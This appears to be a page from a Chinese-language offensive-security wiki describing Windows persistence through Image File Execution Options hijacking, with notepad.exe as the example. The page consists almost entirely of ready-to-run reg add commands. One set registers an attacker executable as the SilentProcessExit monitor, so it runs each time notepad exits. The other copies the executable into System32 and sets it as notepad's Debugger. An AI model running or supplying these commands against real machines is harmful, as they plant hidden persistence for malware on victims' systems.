> For the complete documentation index, see [llms.txt](https://docs.qwqdanchun.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qwqdanchun.com/main/persistence/image-file-execution-options/image-file-execution-options.md).
# 映像劫持
## 劫持程序退出事件
命令行
```
# Use notepad as example
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Temp\qwqdanchun.exe"
```
## 劫持程序调试选项
命令行
```
copy C:\Temp\qwqdanchun.exe C:\Windows\System32\qwqdanchun.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "qwqdanchun.exe"
```
参考文章：
{% embed url="" %}
{% embed url="" %}